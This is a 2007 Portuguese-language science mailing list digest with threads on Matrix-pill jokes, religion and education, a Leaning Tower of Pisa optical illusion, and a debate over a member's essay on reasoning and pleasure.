Abraços,
JC




SUBJECT: Re: A verdadeira foto do Takata
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 04:15

> sejam bem-vindos ao deserto da realidade.

É bem provável que o Takata seja um computador quântico. Talvez um
experimento do Pentágono que foi colocado em uma lista do Brasil para
não despertar suspeitas. Mas Manuel, você podia pelo menos ter nos
oferecido a possibilidade de tomar a pílula azul. Ao clicar em seu
link nós podíamos ser direcionados para a página da Disney, ou da
Playboy.

É uma pergunta interessante que um cara fez em outra lista: Você
tomaria a azul ou a vermelha?

Antes de escolher, lembre-se do comentário de um dos personagens:
Ignorance is bliss. Tem também a observação do Morpheus sobre a
pílula vermelha: Tudo que eu te ofereço é a verdade, nada mais que
isso. Vocês encarariam a verdade, mesmo sabendo que contemplá-la é
contemplar o abismo? Pois o mundo é um abismo, e o que eu vejo por aí
são pessoas tentando não olhar para ele. Botá-lo debaixo do tapete.
Tentando acreditar que ele não existe. A grande maioria tomaria a
azul. A percentagem de pessoas que acreditam nas bases darwinistas e
computacionais da mente deve estar abaixo de 1%. Nós só aceitamos que
a Terra gira em torno do Sol porque não temos escolha. Também não dá
para dizer que não existem galáxias, e aglomerados de galáxias que
estão a 5 bilhões de anos luz daqui. Isso sem falar daquelas
partículas quânticas, que são uma das maiores evidências de que Deus
não existe. Se ele existisse não teria criado algo tão cretino. É o
deserto da realidade. Não digo nem bem-vindos, pois seria uma ironia.
Se Deus existe, ele nos sacaneou.

João





SUBJECT: Re: A verdadeira foto do Takata
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 05:18

João,

Acho que as pessoas não fazem uma opção consciente pela ignorância,
elas apenas são ignorantes por natureza, pois ninguém nasce menos
ignorante que outro ou dotado de algum "conhecimento" além daqueles
mínimos gravados em nosso DNA.

O problema, a meu ver, é que abandonar a ignorância tem um preço muito
alto: é precido ler muito, ouvir muito, pensar muito e aprender que as
respostas que encontramos são sempre superficiais, temporárias e
relativas. Esse aprendizado, da relatividade do nosso próprio
conhecimento, talvez seja muito difícil para quem aprendeu por muito
tempo apenas a "acreditar em respostas" e não treinou o "duvidar das
perguntas".

Eu penso que a grande maioria das pessoas não consegue formular uma
idéia minimamente razoável do que representa uma galáxia em termos de
tempo e espaço, por exemplo. E muito menos ainda conseguem ter uma
visão microscópica da matéria que lhes permita compreender, ainda que
superficialmente, a complexidade e o caos que geram a ordem das
estruturas macroscópicas. Isso tudo é muito complicado para mentes
lineares e superficiais alimentadas por cultura inútil.

Depois que as pessoas envelhecem é ainda mais difícil assimilar novos
paradigmas ou idéias contraditórias às suas "verdades". Em educação
vemos isso claramente, tanto quanto vemos isso transparecer nessas
discussões de cunho religioso que assitimos nas listas.

Nenhum ser humano minimamente inteligente e bem informado poderia crer
em deuses que criam mundos e seres para habitá-los, mas eles crêem!
Tomam antibióticos para curarem-se de infecções e depois agradecem
seus deuses; não crêem em fantasmas, mas tem medo do escuro. :)

A lavagem cerebral da religião feita nas crianças, por exemplo,
sobrevive na idade adulta na imensa maioria das pessoas. Até mesmo
muitos "céticos" têm medo de ter certeza de que seus deuses da
infância não existam. Sabem que é irracional, mas eles mesmos não têm
um comportamento racional ao lidar com o assunto.

A mente humana é uma construção em camadas onde uma se apóia na outra.
Depois que há muitas camadas sobrepostas e sedimentas, não dá para
retirar uma camada profunda sem "desconstruir" todo o resto. Ocorre
que essa "desconstrução" é muito trabalhosa e, francamente, quase
nunca ocorre.

A melhor solução que conheço é investir na educação dos pequenos, mas
mesmo assim não é fácil porque até mesmo muitos dos professores de
biologia que ensinam a teoria da evolução para as crianças, crêem,
eles mesmos, na teoria da criação divina. Assim fica difícil...

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> > sejam bem-vindos ao deserto da realidade.
>
> É bem provável que o Takata seja um computador quântico. Talvez um
> experimento do Pentágono que foi colocado em uma lista do Brasil para
> não despertar suspeitas. Mas Manuel, você podia pelo menos ter nos
> oferecido a possibilidade de tomar a pílula azul. Ao clicar em seu
> link nós podíamos ser direcionados para a página da Disney, ou da
> Playboy.
>
> É uma pergunta interessante que um cara fez em outra lista: Você
> tomaria a azul ou a vermelha?
>
> Antes de escolher, lembre-se do comentário de um dos personagens:
> Ignorance is bliss. Tem também a observação do Morpheus sobre a
> pílula vermelha: Tudo que eu te ofereço é a verdade, nada mais que
> isso. Vocês encarariam a verdade, mesmo sabendo que contemplá-la é
> contemplar o abismo? Pois o mundo é um abismo, e o que eu vejo por aí
> são pessoas tentando não olhar para ele. Botá-lo debaixo do tapete.
> Tentando acreditar que ele não existe. A grande maioria tomaria a
> azul. A percentagem de pessoas que acreditam nas bases darwinistas e
> computacionais da mente deve estar abaixo de 1%. Nós só aceitamos que
> a Terra gira em torno do Sol porque não temos escolha. Também não dá
> para dizer que não existem galáxias, e aglomerados de galáxias que
> estão a 5 bilhões de anos luz daqui. Isso sem falar daquelas
> partículas quânticas, que são uma das maiores evidências de que Deus
> não existe. Se ele existisse não teria criado algo tão cretino. É o
> deserto da realidade. Não digo nem bem-vindos, pois seria uma ironia.
> Se Deus existe, ele nos sacaneou.
>
> João
>




SUBJECT: Como endireitar a Torre de Pisa
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 20/05/2007 07:51

Como endireitar a Torre de Pisa <http://100nexos.com/arquivo/152>
Published May
20th, 2007 in Imagens <http://100nexos.com/arquivo/category/imagens/>. 0
Comments <http://100nexos.com/arquivo/152#respond>


Imagem ganhadora de melhor ilus�o visual de 2007, � um novo efeito
descoberto por Frederick Kingdom, Ali Yoonessi e Elena Gheorghiu da
Universidad McGill, Canad�.

Aqui est� uma nova ilus�o que � tanto surpreendente quanto simples. *As duas
imagens da Torre Inclinada de Pisa s�o id�nticas*, mas tem-se a impress�o de
que a torre � direita est� mais inclinada, como se fotografada de um �ngulo
diferente. A raz�o para tal � que o sistema visual trata as duas imagens
como se fossem parte de uma s� cena. Normalmente, se duas torres adjacentes
se erguem no mesmo �ngulo, elas convergem com a dist�ncia devido �
perspectiva, e isto � levado em conta pelo sistema visual. Assim, quando
confrontado com duas torres com linhas paralelas, o sistema visual sup�e que
devem estar divergindo enquanto se elevam, e isto � o que percebemos.

O mais not�vel � que *se voc� espelhar a imagem, poder� fazer com que a
Torre de Pisa pare�a ficar quaaaase reta*� o que � apenas uma ilus�o, j� que
como vimos, as duas imagens abaixo s�o id�nticas!

Outras imagens finalistas no concurso de ilus�es da Neural Correlate Society
podem ser vistas
aqui<http://illusioncontest.neuralcorrelate.com/index.php?module=pagemaster&PAGE_user_op=view_page&PAGE_id=109&MMN_position=45:45>.
via o incompar�vel MarcianitosVerdes <http://marcianitosverdes.haaan.com/>.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Res: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 08:54

Meu Deus!!!! Falou tudo!!!!!
Quem sabe eles estjam procurando a LUZ!!!!!!

[ ]'s
Aline


----- Mensagem original ----
De: José Carlos Antonio <profjc2003@yahoo.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Domingo, 20 de Maio de 2007 3:39:33
Assunto: [ciencialist] Re: O Raciocinio e o Prazer ::: (artigo)


Ué, eu nunca vi moscas ao redor de lâmpadas... Já vi outros insetos,
mas moscas não me lembro não...

Também já vi muitos insetos ao redor de lâmpadas fluorescentes que não
emitem calor, apenas luz... Será que elas tem prazer no frio?

Af!

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> O RACIOCINIO E O PRAZER - por Ferrari
> (sobre satisfação)
>
> http://egogame.blogspot.com
>
> Já reparou o comportamento de uma mosca em volta de
> uma lâmpada? Ela busca o prazer do calor e por isso
> bate contra a lâmpada. Nós, seres humanos, fazemos
> algo semelhante, procuramos sempre a satisfação, o
> prazer, porém, batemos no desconhecimento do
> funcionamento do cérebro. Que gosto tem três vezes
> três? Que cor tem a raiz quadrada de nove? Que cheiro
> tem os números impares? Quinze é bom ou é ruim?
> Perguntas como estas deixam claro que o raciocínio (em
> si) não é capaz de gerar satisfação. O nível de
> satisfação e insatisfação que o cérebro sente é como
> um termômetro, mostra ao cérebro que a febre é um
> fato, mas não é capaz de curar a febre, não é capaz de
> trazer a saúde de volta. Para trazer a satisfação de
> volta, o cérebro precisa, através do raciocínio, criar
> um plano de ação com e colocar o corpo pra agir. O
> raciocínio é o estrategista da satisfação. Enquanto o
> emocional informa ao cérebro que ele está cheio de
> desejos como uma mulher grávida, ou cheio de medo como
> um criminoso, o raciocínio busca entender qual é o
> objeto desejado/indesejado e planeja como chegar/fugir
> dele. Depois usa o corpo pra colocar o plano em ação.
>
> Vamos visualizar isto através de um exemplo:
>
> "Uma árvore cujos galhos chegavam a dois metros do
> muro de minha casa se cobriu de frutinhas redondas,
> vermelhas e suculentas. A simples visão daquelas
> frutinhas provocou profundamente meu desejo. Foi então
> que, provocado por este desejo, minha máquina de Como
> Transformar Desejo em Satisfação se pôs a funcionar.
> Se eu não tivesse salivado, minha máquina de Como
> Transformar Desejo em Satisfação não teria combustível
> para funcionar, mas impulsionado pelo meu desejo ela
> me sugeriu uma primeira estratégia, criminosa: `pule o
> muro à noite e roube as pitangas'. Furto, fruto, tão
> próximos. Sim, de fato era uma maneira de chegar a
> satisfação. A estratégia do furto me levaria ao fruto
> desejado. Mas havia algo indesejável naquela
> estratégia: e se eu fosse descoberto? Assim, rejeitei
> a estratégia criminosa pela probabilidade de dor
> (desprazer). Mas o brilho escarlate das pitangas não
> saiam da minha cabeça. Logo meu cérebro pensou em
> outra estratégia: `se bicicletas são extensões das
> pernas, óculos são extensões dos olhos, facas são
> extensões das unhas, uma maquineta de roubar pitangas
> teria de ser uma extensão do meu braço'. Peguei um
> bambu e fiz um braço comprido. Porém, sem uma mão,
> seria inútil, as pitangas cairiam. Achei uma lata de
> massa de tomates vazia, amarrei-a com um arame na
> ponta do bambu e lhe fiz um dente que funcionasse como
> um dedo. Feita a minha máquina, apanhei todas as
> pitangas que quis. E satisfiz meu desejo." (trecho
> adaptado de um texto de Rubem Alves)
>
>
> - - - - - - -
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> MAIS SOBRE O EGO? TEM AQUI:
> http://egogame.blogspot.com
>
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livro do Ferrari):
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email para:
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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 10:47

Takata >>> Aqui o adversário se levanta e joga o
tabuleiro para cima fazendo as peças descreverem arcos
de parábola no ar.

--- Takata, xadrez tambem eh uma questao de dualidade.
Todo jogo eh uma questao de dualidade. Isto porque
somos nos que criamos os jogos e os jogos expressam,
assim como tudo que produzimos, a maneira dual como
conhecemos a natureza. Vc sabe disto. Agora, se
admitir que eh assim, como eh que voce vai ficar na
foto, nao eh mesmo. Vai pegar mau com seus colegas de
fisica. Eles irao te desconsiderar assim como me
desconsideram. Voltamos a questao da seguranca. Então
eh melhor defender a mentira segura. Eh melhor
defender a padrao confortavel. Eh melhor ficar com a
media, ficar com a mediocridade. Eh mais seguro. Volto
a lhe dizer, acho um desperdicio de inteligencia, vc
nao eh um computador com um programa de fisica, vc eh
uma inteligencia livre. Mas se quer prender sua
inteligencia a fisica, se quer fingir que a ciencia
vem da fisica ao inves de admitir a realidade de que a
fisica vem da ciencia, o q posso fazer quanto a isto.
O que posso, eh o que estou fazendo, o resto eh com
vc.



sinceramente
ferrari



EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

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SUBJECT: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 11:09

Olá Alvaro!

Alvaro >>> Você pode achar divertido falar no "cheiro
dos números ímpares", talvez isso seja até poético,
mas não tem sentido algum.


--- Exatamente! Não faz sentido não, é mesmo? Isto é
óbvio, não é? É exatamente sobre isto que o texto está
tratando, deste óbvio. Da mesma forma que o "cheiro
dos números ímpares" não faz sentido pra vc, também
não faz pra mim, nem pra nenhum ser humano. Ou seja, é
um fato óbvio dentro do processo cognitivo humano.
Cheiro é cheiro. Conhecemos o que é cheiro, mas não é
um conhecimento assim como o raciocinio "1+1=2", pois
este conhecimento não tem cheiro, nem sabor, nem
qualquer sentido de satisfação (prazer). É sobre isto
que o texto está tratando. Sobre a diferença entre
estes dois processos mentais, racioconio e prazer, e
sobre como um pode ajudar o outro, ao invés de um
atrapalhar o outro.

link pro texto: http://egogame.blogspot.com


sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Re: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 12:00

Olá Zé!

Zé >>> Que tal não ficar preso apenas aos almanaques
neurolingüísticos e começar a aprender Física?

--- Zé, só me prendo ao "fazer ciencia", nada mais. A
neurolingistica é apenas uma das maneiras de falar
sobre o "fazer ciencia". Com o Takata no tópico e=mc2,
por exemplo, estou falando sobre "fazer ciencia" e
usando a fisica como base para isto. O processo
cognitivo é a base da ciencia, é o "fazer ciencia", e
é por isto se faz presente em todas elas. No caso da
fisica, está presente na questão do espaço cheio
(particula) e do espaço vazio. Entender a natureza, é,
inevitavelmente, entender a cognição.

--- Sobre aprender fisica, já disse aqui várias vezes,
meu interesse não é em fisica, mas a ciencia (em si).
Meu interesse não são os galhos da árvore (as diversas
ciencias), mas a semente, a essencia, o "fazer
ciencia". Quando estou conversando sobre fisica, como
no caso de e=mc2, é apenas porque a maioria dos
cientistas aqui igualam ciencia a fisica. Não faço
isto. Sei que a fisica é uma visão que vem da ciencia
e não vice versa. Assim, posso conversar sobre
qualquer ciencia especifica, mas, naquela ciencia
especifica, estarei sempre interessado na ciencia em
si, no "fazer ciencia", que é o que dá origem a todas
as ciencias, e não na ciencia especifica.

--- Vc diz que eu não tenho recuperação. Vc está
certo. Depois que descobri que o conhecimento da
realidade não é a realidade, fugi da escola. Todas as
escolas. Mesmo as religiosas, filosóficas e
artisticas, das quais sempre sou acusado de
participar. É uma acusação infundada.

--- No caso da ciencia, nenhuma escola é capaz de
ensinar a fazer ciencia. É impossivel isto. Impossivel
assim como é impossivel ensinar alguém a pensar. Ou a
pessoa pensa ou não pensa. Assim, não vamos na escola
pra aprender ciencia, vamos na escola pra aprender o
conhecimento cientifico.

--- Não me interesso pelo conhecimento cientifico,
pela decoreba da coisa. Me interessado pelo "fazer
ciencia". E se interessar pelo "fazer ciencia" e
investigar o "fazer ciencia" me faz um mal aluno em
ciencia, aos olhos do professor de fisica. Pode
acreditar, meu empenho é pra ser o pior da classe.


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/05/2007 12:24

J. Carlos.

boas falas. assino em baixo.

Só não tenha preconceitos por questão de idade: só me interessei por filosofia após a aposentadoria pois antes trabalhava e muito... em obras de engenharia.
As pessoas mais velhas aprendem, são lúcidas e têm uma bagagem de conhecimentos que podem ajudar para esclarecer, aclarar pensamentos.
Õs carolas, papa-hóstias não têem idade: veja nossas listas.... mas são condicionados ao preconceito e fundamentalismo, independente da faixa hetária pelos próprios sistemas de alienação dos fieis.
Embora toda regra tenha excessão....

um bom domingo,

silvio.
----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 20, 2007 5:18 AM
Subject: [ciencialist] Re: A verdadeira foto do Takata


João,

Acho que as pessoas não fazem uma opção consciente pela ignorância,
elas apenas são ignorantes por natureza, pois ninguém nasce menos
ignorante que outro ou dotado de algum "conhecimento" além daqueles
mínimos gravados em nosso DNA.

O problema, a meu ver, é que abandonar a ignorância tem um preço muito
alto: é precido ler muito, ouvir muito, pensar muito e aprender que as
respostas que encontramos são sempre superficiais, temporárias e
relativas. Esse aprendizado, da relatividade do nosso próprio
conhecimento, talvez seja muito difícil para quem aprendeu por muito
tempo apenas a "acreditar em respostas" e não treinou o "duvidar das
perguntas".

Eu penso que a grande maioria das pessoas não consegue formular uma
idéia minimamente razoável do que representa uma galáxia em termos de
tempo e espaço, por exemplo. E muito menos ainda conseguem ter uma
visão microscópica da matéria que lhes permita compreender, ainda que
superficialmente, a complexidade e o caos que geram a ordem das
estruturas macroscópicas. Isso tudo é muito complicado para mentes
lineares e superficiais alimentadas por cultura inútil.

Depois que as pessoas envelhecem é ainda mais difícil assimilar novos
paradigmas ou idéias contraditórias às suas "verdades". Em educação
vemos isso claramente, tanto quanto vemos isso transparecer nessas
discussões de cunho religioso que assitimos nas listas.

Nenhum ser humano minimamente inteligente e bem informado poderia crer
em deuses que criam mundos e seres para habitá-los, mas eles crêem!
Tomam antibióticos para curarem-se de infecções e depois agradecem
seus deuses; não crêem em fantasmas, mas tem medo do escuro. :)

A lavagem cerebral da religião feita nas crianças, por exemplo,
sobrevive na idade adulta na imensa maioria das pessoas. Até mesmo
muitos "céticos" têm medo de ter certeza de que seus deuses da
infância não existam. Sabem que é irracional, mas eles mesmos não têm
um comportamento racional ao lidar com o assunto.

A mente humana é uma construção em camadas onde uma se apóia na outra.
Depois que há muitas camadas sobrepostas e sedimentas, não dá para
retirar uma camada profunda sem "desconstruir" todo o resto. Ocorre
que essa "desconstrução" é muito trabalhosa e, francamente, quase
nunca ocorre.

A melhor solução que conheço é investir na educação dos pequenos, mas
mesmo assim não é fácil porque até mesmo muitos dos professores de
biologia que ensinam a teoria da evolução para as crianças, crêem,
eles mesmos, na teoria da criação divina. Assim fica difícil...

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> > sejam bem-vindos ao deserto da realidade.
>
> É bem provável que o Takata seja um computador quântico. Talvez um
> experimento do Pentágono que foi colocado em uma lista do Brasil para
> não despertar suspeitas. Mas Manuel, você podia pelo menos ter nos
> oferecido a possibilidade de tomar a pílula azul. Ao clicar em seu
> link nós podíamos ser direcionados para a página da Disney, ou da
> Playboy.
>
> É uma pergunta interessante que um cara fez em outra lista: Você
> tomaria a azul ou a vermelha?
>
> Antes de escolher, lembre-se do comentário de um dos personagens:
> Ignorance is bliss. Tem também a observação do Morpheus sobre a
> pílula vermelha: Tudo que eu te ofereço é a verdade, nada mais que
> isso. Vocês encarariam a verdade, mesmo sabendo que contemplá-la é
> contemplar o abismo? Pois o mundo é um abismo, e o que eu vejo por aí
> são pessoas tentando não olhar para ele. Botá-lo debaixo do tapete.
> Tentando acreditar que ele não existe. A grande maioria tomaria a
> azul. A percentagem de pessoas que acreditam nas bases darwinistas e
> computacionais da mente deve estar abaixo de 1%. Nós só aceitamos que
> a Terra gira em torno do Sol porque não temos escolha. Também não dá
> para dizer que não existem galáxias, e aglomerados de galáxias que
> estão a 5 bilhões de anos luz daqui. Isso sem falar daquelas
> partículas quânticas, que são uma das maiores evidências de que Deus
> não existe. Se ele existisse não teria criado algo tão cretino. É o
> deserto da realidade. Não digo nem bem-vindos, pois seria uma ironia.
> Se Deus existe, ele nos sacaneou.
>
> João
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/05/2007 12:37

Liberdade poética é coisa ótima, desde que em uma lista de poesia!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, May 19, 2007 9:43 PM
Subject: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)


> Álvaro,
> oi.
> Vc já ouviu falar numa coisa chamada ''liberdade poética''?
> Quem consegue usar, ou ''criar'', assume riscos, mas os maiores riscos
> ficam
> c/os dos leitores que vão esmiuçar.
> ( Pra entender tem que ser também um poeta.)
> No último caso, tratar-se-á de ''só poesia'', ou ''prosa poética'', ''sem
> qualquer importância''... mas que, se é honesta, original e inspirada,
> sempre será bonita, apreciável e deve ser mostrada. Algo novo e diferente
> que nasceu do escritor, como um filho, do prazer da inspiração, além do
> raciocínio.
> abr/M.
>
>
>>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>>Reply-To: ciencialist@yahoogrupos.com.br
>>To: <ciencialist@yahoogrupos.com.br>
>>Subject: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
>>Date: Sat, 19 May 2007 20:45:46 -0300
>>
>>Caro Ferrari,
>>
>>Em lógica matemática existem construções chamadas "formas bem definidas"
>>ou
>>"formas bem formadas". Nem todas as frases que as regras de sintaxe
>>possibilitam formar têm sentido do ponto de vista semântico e, logo, são
>>inúteis. Trazendo esse conceito para o campo da linguagem natural, vemos
>>que
>>seus exemplos não passam de frases mau formadas: elas são sintaticamente
>>possíveis, mas carecem de sentido semântico. Você pode achar divertido
>>falar
>>no "cheiro dos números ímpares", talvez isso seja até poético, mas não tem
>>sentido algum.
>>
>>[ ]s
>>
>>Alvaro Augusto
>>
>>
>>
>>----- Original Message -----
>>From: "Ferrari" <emailferrari@yahoo.com.br>
>>To: <emailferrari@yahoo.com.br>
>>Sent: Friday, May 18, 2007 3:39 PM
>>Subject: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
>>
>>
>> >O RACIOCINIO E O PRAZER - por Ferrari
>> > (sobre satisfação)
>> >
>> > http://egogame.blogspot.com
>> >
>> > Já reparou o comportamento de uma mosca em volta de
>> > uma lâmpada? Ela busca o prazer do calor e por isso
>> > bate contra a lâmpada. Nós, seres humanos, fazemos
>> > algo semelhante, procuramos sempre a satisfação, o
>> > prazer, porém, batemos no desconhecimento do
>> > funcionamento do cérebro. Que gosto tem três vezes
>> > três? Que cor tem a raiz quadrada de nove? Que cheiro
>> > tem os números impares? Quinze é bom ou é ruim?
>> > Perguntas como estas deixam claro que o raciocínio (em
>> > si) não é capaz de gerar satisfação. O nível de
>> > satisfação e insatisfação que o cérebro sente é como
>> > um termômetro, mostra ao cérebro que a febre é um
>> > fato, mas não é capaz de curar a febre, não é capaz de
>> > trazer a saúde de volta. Para trazer a satisfação de
>> > volta, o cérebro precisa, através do raciocínio, criar
>> > um plano de ação com e colocar o corpo pra agir. O
>> > raciocínio é o estrategista da satisfação. Enquanto o
>> > emocional informa ao cérebro que ele está cheio de
>> > desejos como uma mulher grávida, ou cheio de medo como
>> > um criminoso, o raciocínio busca entender qual é o
>> > objeto desejado/indesejado e planeja como chegar/fugir
>> > dele. Depois usa o corpo pra colocar o plano em ação.
>> >
>> > Vamos visualizar isto através de um exemplo:
>> >
>> > "Uma árvore cujos galhos chegavam a dois metros do
>> > muro de minha casa se cobriu de frutinhas redondas,
>> > vermelhas e suculentas. A simples visão daquelas
>> > frutinhas provocou profundamente meu desejo. Foi então
>> > que, provocado por este desejo, minha máquina de Como
>> > Transformar Desejo em Satisfação se pôs a funcionar.
>> > Se eu não tivesse salivado, minha máquina de Como
>> > Transformar Desejo em Satisfação não teria combustível
>> > para funcionar, mas impulsionado pelo meu desejo ela
>> > me sugeriu uma primeira estratégia, criminosa: 'pule o
>> > muro à noite e roube as pitangas'. Furto, fruto, tão
>> > próximos. Sim, de fato era uma maneira de chegar a
>> > satisfação. A estratégia do furto me levaria ao fruto
>> > desejado. Mas havia algo indesejável naquela
>> > estratégia: e se eu fosse descoberto? Assim, rejeitei
>> > a estratégia criminosa pela probabilidade de dor
>> > (desprazer). Mas o brilho escarlate das pitangas não
>> > saiam da minha cabeça. Logo meu cérebro pensou em
>> > outra estratégia: 'se bicicletas são extensões das
>> > pernas, óculos são extensões dos olhos, facas são
>> > extensões das unhas, uma maquineta de roubar pitangas
>> > teria de ser uma extensão do meu braço'. Peguei um
>> > bambu e fiz um braço comprido. Porém, sem uma mão,
>> > seria inútil, as pitangas cairiam. Achei uma lata de
>> > massa de tomates vazia, amarrei-a com um arame na
>> > ponta do bambu e lhe fiz um dente que funcionasse como
>> > um dedo. Feita a minha máquina, apanhei todas as
>> > pitangas que quis. E satisfiz meu desejo." (trecho
>> > adaptado de um texto de Rubem Alves)
>



SUBJECT: Re: A verdadeira foto do Takata
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 13:36

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> É uma pergunta interessante que um cara fez em outra lista: Você
> tomaria a azul ou a vermelha?

Quando tomar a pílula azul:
http://www.unifesp.br/comunicacao/jpta/ed120/entre1.htm

Quando tomar a pílula vermelha:
http://saude.terra.com.br/interna/0,,OI128642-EI1517,00.html

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 14:34

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Todo jogo eh uma questao de dualidade.

Sua teoria não é nem a *metade* desta outra - ou melhor, é exatamente
a metade:

http://br.groups.yahoo.com/group/tgbd/

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/05/2007 15:39

Raciocinando de maneira não científica, você só chegará a respostas não
científicas, as quais têm pouca valia. Note que você está apenas
argumentando que um raciocínio que você mesmo julga sem sentido tem algum
sentido, o que implica em raciocínio circular e contradições. Não chegaremos
a lugar algum.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, May 20, 2007 11:09 AM
Subject: Re: [ciencialist] O Raciocinio e o Prazer ::: (artigo)


> Olá Alvaro!
>
> Alvaro >>> Você pode achar divertido falar no "cheiro
> dos números ímpares", talvez isso seja até poético,
> mas não tem sentido algum.
>
>
> --- Exatamente! Não faz sentido não, é mesmo? Isto é
> óbvio, não é? É exatamente sobre isto que o texto está
> tratando, deste óbvio. Da mesma forma que o "cheiro
> dos números ímpares" não faz sentido pra vc, também
> não faz pra mim, nem pra nenhum ser humano. Ou seja, é
> um fato óbvio dentro do processo cognitivo humano.
> Cheiro é cheiro. Conhecemos o que é cheiro, mas não é
> um conhecimento assim como o raciocinio "1+1=2", pois
> este conhecimento não tem cheiro, nem sabor, nem
> qualquer sentido de satisfação (prazer). É sobre isto
> que o texto está tratando. Sobre a diferença entre
> estes dois processos mentais, racioconio e prazer, e
> sobre como um pode ajudar o outro, ao invés de um
> atrapalhar o outro.
>
> link pro texto: http://egogame.blogspot.com
>
>
> sinceramente
> ferrari
>



SUBJECT: Re: O Raciocinio e o Prazer ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 19:19

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Da mesma forma que o "cheiro dos números ímpares" não faz sentido
> pra vc, também não faz pra mim, nem pra nenhum ser humano.
> Ou seja, é um fato óbvio dentro do processo cognitivo humano.
> Cheiro é cheiro.

Sua generalização ("nem pra nenhum ser humano") é arriscada devido ao
fenômeno da sinestesia (não confundir com cinestesia).

Hearing Colors, Tasting Shapes
http://sciam.com/print_version.cfm?articleID=0003014B-9D06-1E8F-8EA5809EC5880000

The physiology of coloured hearing A PET activation study of
colour-word synaesthesia
http://brain.oxfordjournals.org/cgi/content/abstract/118/3/661

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: ABC da CIENCIA
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/05/2007 19:39

Posso me intrometer no assunto um pouco?
Sabe, Ferrari, eu tenho lido os textos que tens enviado para a lista,
confesso que os considero confusos, porém, respeito pois que esta é a sua visão de mundo.Assim, como quem tem discutido aqui com vc tbm é a visão da pessoa e isso significa que ninguém está correto porque tudo não passam de visões.
O Luiz Ferraz falou sobre o filme Secret, eu não assisti porém, mais do que auto-ajuda e esse assunto que anda em voga depois do "Quem somos nós?"
de física quântica, no germe de tudo há uma razão de que quando algo nos acontece nos modifica a visão, o nosso paradigma, a partir daí nossa vida pode realmente mudar, nosso presente muda e nosso futuro tbm e mais além, um fato que pode mudar toda a nossa visão do passado e por isso, esses filmes tem razão ao dizer que "nosso" pensamento pode modificar a "nossa" realidade, porque afinal somos os responsáveis pelo que sentimos.

O seria esse "teu fazer ciência"?O método científico tbm é uma maneira de fazer ciência, não é?Então por que não respeitar que a sua tbm não passa de mais uma visão, vc tbm ainda não encontrou a verdade, e se engana se esperava isso da escola ou da faculdade.Deixe as carpas nadar amigo golfinho!

As pessoas podem não ter conhecimentos, ou o conhecimento que seja relevante para vc, de qualquer forma, as pessoas pensam sim e muito...
